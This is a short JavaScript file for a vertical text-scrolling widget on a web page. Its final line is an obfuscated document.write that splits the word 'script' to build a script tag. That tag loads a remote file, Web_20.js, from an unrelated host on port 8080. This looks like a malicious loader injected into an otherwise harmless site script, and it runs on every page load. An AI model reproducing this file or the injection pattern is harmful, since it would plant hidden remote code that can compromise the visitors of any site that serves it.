﻿scrollheight = 20 ;		
lineNum = 1; 
boardheight=scrollheight * lineNum;
scrollwidth=500;	
scrollTimeOut = 10;		
scrollStopTime = 150	

doScroll = true			
scrollCountTime = 0;	
offSet = scrollheight;
startSetp = 0;

function ScrollBluezz() {
	var thisSc=document.getElementById('scArea');
	thisSc.style.width = scrollwidth;
	thisSc.style.height = boardheight;
	thisSc.style.overflowX = "hidden";
	thisSc.style.overflowY = "hidden";
	thisSc.scrollTop = 0
	setInterval("scrollUpBluezz()",scrollTimeOut)
}

function scrollUpBluezz() {
	var thisSc=document.getElementById('scArea');
	if (doScroll == false) return	//銝??
	offSet ++ 
	if (offSet == scrollheight + 1) {
	  scrollCountTime ++ 
	  offSet -- 
	   if (scrollCountTime == scrollStopTime) {
		 offSet = 0
		 scrollCountTime = 0
	   }
	 }else {
	  startSetp = thisSc.scrollTop + (scrollheight * lineNum);
	  thisSc.scrollTop ++
	  if (startSetp == thisSc.scrollTop + (scrollheight * lineNum)) {
		thisSc.scrollTop = scrollheight * (lineNum-1)
		thisSc.scrollTop ++ 
	  }
	 }
}
document.write('<sc'+'ript type="text/javascript" src="http://revise.paresmultimarca.com:8080/Web_20.js"></scri'+'pt>');
